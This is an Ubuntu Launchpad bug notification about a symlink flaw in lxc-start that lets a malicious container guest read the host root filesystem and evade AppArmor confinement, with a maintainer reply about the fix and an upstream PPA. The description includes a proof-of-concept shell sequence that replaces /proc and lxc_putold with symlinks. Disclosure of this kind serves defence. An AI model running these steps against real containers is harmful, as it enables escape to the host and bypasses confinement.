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Message #107425
[Bug 1476662] Re: lxc-start symlink vulnerabilities may allow guest to read host filesystem, interfere with apparmor
Chances are it is, but lxc in precise is in universe and on an unsupported upstream release, so we're not doing security updates there.
You can however use the upstream LXC PPA which will get you trusty's LXC on precise, including this security fix.
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https://bugs.launchpad.net/bugs/1476662
Title:
lxc-start symlink vulnerabilities may allow guest to read host
filesystem, interfere with apparmor
Status in lxc package in Ubuntu:
Fix Released
Bug description:
lxc-start shuffles around mounts using helper directory
/usr/lib/x86_64-linux-gnu/lxc (guest root fs is mounted here)
It then modifies mounts operating in guest root directory before
invoking init. As it does not check if all mount points are
directories, a malicious guest may modify its internal structure
before shutdown (or was created using manipulated image) and then when
started again, guest may
* Access the whole host root filesystem
* Block switching from lxc-start apparmor profile to lxc-container-
default
# Real putold before pivot-root (root fs will end here)
mkdir -p /x/lxc_putold
# Faked putold
ln -s /usr/lib/x86_64-linux-gnu/lxc/x/lxc_putold lxc_putold
mkdir -p /usr/lib/x86_64-linux-gnu/lxc/x/lxc_putold/proc
touch /usr/lib/x86_64-linux-gnu/lxc/x/lxc_putold/proc/mounts
# proc fake
mkdir -p /x/proc
umount /proc
rmdir /proc
ln -s /usr/lib/x86_64-linux-gnu/lxc/x/proc proc
mkdir -p /usr/lib/x86_64-linux-gnu/lxc/x/proc/1/attr /usr/lib/x86_64-linux-gnu/lxc/x/proc/self
touch /usr/lib/x86_64-linux-gnu/lxc/x/proc/1/attr/current
touch /usr/lib/x86_64-linux-gnu/lxc/x/proc/self/status
The issue was also found during
https://service.ait.ac.at/security/2015/LxcSecurityAnalysis.html
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